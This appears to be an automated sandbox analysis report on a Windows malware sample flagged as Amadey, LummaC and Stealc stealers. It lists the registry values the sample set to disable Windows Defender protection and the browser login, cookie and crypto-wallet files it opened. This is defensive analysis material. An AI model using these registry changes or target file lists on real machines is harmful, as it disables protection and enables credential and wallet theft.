Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002756001\fc0b992f89.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 7_2_0099CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

7_2_0099CBEA

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RYM16770HTK1NZSZ1PW5P28.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, file.exe, 00000000.00000003.2169539455.0000000005957000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2169464550.0000000005951000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2258614357.0000000005955000.00000004.00000800.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000002.3152326455.0000000000780000.00000004.00000020.00020000.00000000.sdmp, b6ea789a1a.exe, 00000016.00000003.3151528838.0000000000780000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, svchost.exe, 00000012.00000002.3306996837.000001AF56C83000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: svchost.exe	Binary or memory string: Procmon.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 7.2.skotes.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe.ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.980000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000003.2281466208.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2307591967.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2324518597.0000000000EE1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2351335832.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3301270870.0000000000981000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2672318109.0000000005140000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 00000019.00000003.3262105561.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9fee9e49cf.exe PID: 2608, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b6ea789a1a.exe PID: 5880, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 23.2.fc0b992f89.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.fc0b992f89.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000002.3311731465.000000000157B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.3116101099.0000000005700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3156445874.0000000000CA1000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3274962236.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3158433067.000000000186E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.3306253227.0000000000CA1000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fc0b992f89.exe PID: 5628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fc0b992f89.exe PID: 5736, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002758001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.2124254041.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.2124254041.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe, 00000000.00000003.2124254041.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: b6ea789a1a.exe, 00000018.00000002.3314964247.0000000001402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2124254041.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe, 00000000.00000003.2123510491.0000000001274000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: b6ea789a1a.exe, 00000018.00000002.3314964247.0000000001402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe, 00000000.00000003.2124254041.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2124254041.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
